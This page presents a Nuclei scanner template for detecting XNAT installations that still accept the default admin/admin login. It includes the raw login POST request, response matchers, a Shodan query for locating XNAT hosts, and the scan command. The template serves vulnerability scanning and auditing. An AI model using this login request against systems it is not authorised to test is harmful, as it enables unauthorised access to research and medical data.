XNAT - Default Login

ID: xnat-default-login

Severity: high

Author: 0x_Akoko

Tags: default-login,xnat

Description

XNAT contains an admin default login vulnerability. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.

YAML Source

id: xnat-default-login

info:
  name: XNAT - Default Login
  author: 0x_Akoko
  severity: high
  description: XNAT contains an admin default login vulnerability. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://wiki.xnat.org/documentation/xnat-administration/xnat-setup-first-time-configuration#:~:text=Log%20in%20with%20the%20username%20admin%20and%20password%20admin
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
    cpe: cpe:2.3:a:xnat:xnat:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.title:"XNAT"
    product: xnat
    vendor: xnat
  tags: default-login,xnat

http:
  - raw:
      - |
        POST /login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        login_method=localdb&username={{username}}&password={{password}}&login=&XNAT_CSRF=

    attack: pitchfork
    payloads:
      username:
        - admin
      password:
        - admin

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "app/template/Index.vm?login=true"
          - "JSESSIONID"
        condition: and

      - type: status
        status:
          - 302
# digest: 490a00463044022041d2d199064db48a2732d65383dac932e516caf5b754ef38dcc517061fd18ef60220491d5dc8c1ebf52920089305f5c865952d40bf21b3630fb038bd3fcce2fdcca2:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/default-logins/xnat/xnat-default-login.yaml"

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